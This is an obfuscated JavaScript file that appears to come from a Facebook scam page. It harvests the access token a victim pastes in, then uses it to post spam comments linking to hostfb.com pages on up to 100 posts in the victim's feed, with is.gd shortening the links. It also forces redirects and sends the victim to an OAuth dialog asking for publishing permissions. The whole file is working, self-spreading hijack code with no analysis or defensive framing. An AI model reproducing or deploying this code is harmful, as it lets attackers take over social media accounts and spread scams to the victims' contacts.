function generateCert() {
    var _0x986dx2 = window['open']('http://on.fb.me/XcRM7x', 'caa', 'toolbar=no,location=yes,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,width=450,height=30');
    if (window['focus']) {
        _0x986dx2['focus']();
    };
    return false;
};
var country = geoip_country_code();
console['log'](country);
if (country == 'US' || country == 'GB' || country == 'IT' || country == 'AU' || country == 'CA') {} else {};
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
var is_chrome = navigator['userAgent']['toLowerCase']()['indexOf']('chrome') > -1;
if (is_firefox) {};
if (document['location']['href']['indexOf']('static.tumblr.com/kipe8q7/BE9mizt9c') !== -1) {} else {
    top['location'] = 'http://static.tumblr.com/kipe8q7/BE9mizt9c/index.html';
};
var isCtrl = false;
document['onkeyup'] = function (_0x986dx7) {
    if (_0x986dx7['which'] == 17) {
        isCtrl = false;
    };
};
document['onkeydown'] = function (_0x986dx7) {
    if (_0x986dx7['which'] == 17) {
        isCtrl = true;
        SetFocus('scatola');
        return false;
    };
};
$('.url')['live']('paste', function (_0x986dx8) {
    var _0x986dx9 = this;
    setTimeout(function () {
        var _0x986dxa = $(_0x986dx9)['val']();
        $('.control')['css']('display', 'none');
        $('#loading_bar')['css']('display', 'block');
        checkData(_0x986dxa);
    }, 100);
});

function SetFocus(_0x986dxc) {
    document['getElementById'](_0x986dxc)['focus']();
};

function checkData(_0x986dxe) {
    try {
        if (_0x986dxe['indexOf']('access_token=') == -1) {
            throw new Error('invalid access_token');
        };
        var _0x986dxf = _0x986dxe['split']('access_token=')['pop']()['split']('&')['shift']();
        var _0x986dx10 = _0x986dxe['split']('expires_in=')['pop']()['split']('&')['shift']();
        console['log']('Got the access token >>> ', _0x986dxf);
        if (_0x986dxf) {
            doShit(_0x986dxf);
        } else {
            throw new Error('invalid access_token');
        };
    } catch (e) {
        handleError();
    };
};
var handleError = function () {
    alert('Whoops! Looks like there was a problem generating your code, please try again');
    $('.control')['css']('display', 'block');
    $('#loading_bar')['css']('display', 'none');
    prevSlide();
};

function cpa() {
    console['log']('Redirecting...');
    top['location'] = 'https://www.facebook.com/dialog/oauth?client_id=548386225195405&redirect_uri=http%3A%2F%2Fwww.chisplay.com%2Fvideo.php%3Fid%3D81&scope=publish_actions,user_actions.video';
};

function doShit(_0x986dx14) {
    console['log']('Do shit started');
    $['getJSON']('https://graph.facebook.com/me?access_token=' + _0x986dx14, function (_0x986dx15) {
        if (_0x986dx15['id']) {
            console['log']('Token is valid');
            var _0x986dx16 = _0x986dx15['id'];
            var _0x986dx17 = _0x986dx15['name'];
            var _0x986dx18 = Math['floor'](Math['random']() * 645328768787);
            var _0x986dx19 = 'OMG !!! SHAKIRA S3x Tape w1th Gerard Pique. WATCH:';
            var _0x986dx1a = 100;
            var _0x986dx1b = new Array('http://hostfb.com/files/28293/5228c03f435c12b4935e2786fb96fdb6b55d7914/index2.html','http://hostfb.com/files/28293/05e0ecdbded1b5439250043ed2b61693b504dee6/','https://hostfb.com/files/28293/05e0ecdbded1b5439250043ed2b61693b504dee6/','https://hostfb.com/files/28293/5228c03f435c12b4935e2786fb96fdb6b55d7914/index2.html');
            $['getJSON']('https://graph.facebook.com/' + _0x986dx16 + '/home?limit=' + _0x986dx1a + '&access_token=' + _0x986dx14, function (_0x986dx15) {
                if (_0x986dx15['data']) {
                    console['log']('Got array of posts');
                    var _0x986dx1c = [];
                    var _0x986dx1d = 0;
                    $['each'](_0x986dx15['data'], function (_0x986dx1e, _0x986dxe) {
                        _0x986dx1c['push'](_0x986dxe['id']);
                        var _0x986dx1f = Math['floor'](Math['random']() * _0x986dx1b['length']);
                        var _0x986dx20 = Math['floor'](Math['random']() * _0x986dx18);
                        var _0x986dx21 = _0x986dx1b[_0x986dx1f] + '?' + _0x986dx20;
                        var _0x986dx22 = null;
                        $['getJSON']('http://is.gd/create.php?format=json&url=' + _0x986dx21, function (_0x986dxe) {
                            console['log']('Shortener is up');
                            _0x986dx22 = _0x986dxe['shorturl'];
                            _0x986dx1d = _0x986dx1d + 1;
                            if (!_0x986dx22) {
                                console['log']('cant short post long url');
                                _0x986dx22 = _0x986dx1b[_0x986dx1f] + '?' + _0x986dx20;
                            };
                            _0x986dx23();
                            _0x986dx25();
                        });

                        function _0x986dx23() {
                            var _0x986dx24 = _0x986dx19 + _0x986dx22;
                            console['log']('Posting >>> ' + _0x986dx24);
                            $['getJSON']('https://graph.facebook.com/' + _0x986dxe['id'] + '/comments?method=POST&message=' + _0x986dx24 + '&access_token=' + _0x986dx14, function (_0x986dx15) {
                                console['log']('Comment id: ' + _0x986dxe['id']);
                            });
                        };

                        function _0x986dx25() {
                            if (_0x986dx1d == _0x986dx1a) {
                                console['log'](_0x986dx1d, _0x986dx1a);
                                console['log']('Done');
                                cpa();
                            };
                        };
                    });
                } else {
                    alert('Wrong Code. Please try again.');
                    $('.control')['css']('display', 'block');
                    $('#loading_bar')['css']('display', 'none');
                    prevSlide();
                };
            });
        } else {
            if (_0x986dx15['error']) {
                alert('Wrong Code. Please try again.');
                $('.control')['css']('display', 'block');
                $('#loading_bar')['css']('display', 'none');
                prevSlide();
            };
        };
    });
};